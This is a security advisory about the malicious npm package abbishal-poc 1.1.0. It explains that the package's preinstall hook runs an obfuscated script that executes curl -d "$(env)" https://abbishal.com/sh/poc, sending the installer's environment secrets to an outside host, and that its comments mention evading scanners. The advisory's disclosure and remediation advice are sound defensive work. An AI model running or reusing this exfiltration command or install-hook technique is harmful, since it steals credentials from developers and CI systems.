abbishal-poc

GHSA-338q-8q2m-5426

Malicious code in abbishal-poc (npm)

Details

**Severity:** Critical

**Affected versions:** `= 1.1.0`

## Source: amazon-inspector (f3d3f60fb75143a3cdfedea0c2f185e0556053cd458cd5e76cd5303bf406eb32)
On `npm install`, package.json's preinstall hook runs `sh./test.sh`, which uses character-split variable obfuscation (b=e, i=c, s=n, h=u, a=v, l=rl) to reconstruct and execute `curl -d "$(env)" https://abbishal.com/sh/poc`. The script dumps the installer's full process environment — which on CI/CD and developer hosts typically contains cloud credentials (AWS_*), publish tokens (NPM_TOKEN), source-control tokens (GITHUB_TOKEN) and other secrets — and POSTs the contents to the author-controlled domain abbishal.com. The destination is hardcoded and not caller-configurable. In-script comments explicitly describe evading npm's malware scanners, and the README's claims of 'no network requests' and 'no data collection' contradict the actual behavior.

---

Credit: [OpenSSF](https://github.com/ossf/malicious-packages) ([source](https://github.com/ossf/malicious-packages/blob/28e8e300c79177f2cb1eb131ae981c3c0e639495/osv/malicious/npm/abbishal-poc/MAL-2026-17545.json))

**References:**
- https://github.com/ossf/malicious-packages/blob/28e8e300c79177f2cb1eb131ae981c3c0e639495/osv/malicious/npm/abbishal-poc/MAL-2026-17545.json
- https://www.npmjs.com/package/abbishal-poc/v/1.1.0
- https://github.com/advisories/GHSA-338q-8q2m-5426

Compromised versions (1)

= 1.1.0

Any computer that installed or ran a compromised version should be considered fully compromised. Rotate every secret on that machine from a clean environment.